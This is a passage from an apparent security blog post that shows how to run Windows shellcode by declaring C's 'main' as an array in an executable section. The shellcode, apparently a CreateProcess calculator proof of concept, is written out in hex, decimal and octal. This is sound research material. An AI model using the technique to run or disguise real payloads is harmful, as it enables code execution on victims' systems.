"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7";

Now if you see our code is merged in the ‘.text’ section and it will execute nicely.

You can place the shellcode directly in the ‘.text’ without modifying the PE structure like this. Thanks to @yair_omer for mentioning this.

#pragma section(".text")

__declspec(allocate(".text")) char main[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7";

You can also write shellcode in any number base. For example in decimals:

/*
* Author: @OsandaMalith
* Website: https://osandamalith.com
*/
#pragma comment(linker,"/SECTION:.data,EW")
int main[] = {
	-1869574000, -1869574000, -1956324559, 2139828347,
	478120716, -1962391669, 1066082423, 856456832,
	-947260811, -1958971389, -1040091049, 18905739,
	-1948415545, -972968140, 1128169797, 1969317234,
	142508530, 1936024431, 2055989621, 1724317988,
	-1955648373, -956228486, -55608181, -645282047,
	-497811535, 1633904893, -494312596, 1397969490,
	1397969747, -671132846
};

This is in octal.

/*
* Author: @OsandaMalith
* Website: https://osandamalith.com
*/
#pragma comment(linker,"/SECTION:.data,EW")
int main[] = {
	022044110220, 022044110220, 021331155461, 017742630173,
	03437705414, 021302043613, 07742620167, 06303077200,
	030742371165, 021317074003, 030200274127, 0110075213,
	021367304707, 030600327464, 010317500505, 016530262562,
	01037500762, 016331261557, 017242764565, 014661600444,
	021333626213, 030700216172, 037453676213, 033142343401,
	034224777661, 014130664375, 034242261554, 012324651122,
	012324651523, 032777651522
};

Under GCC you don’t need to change section permissions, it will automatically place in the ‘.text’ section. Make sure your code is position indepdent or else it won’t work on other Windows systems due to dynamic addressing of DLLs. In this way, you can execute your shellcode without any function pointers. You can check out some of my public shellcodes from here.

❌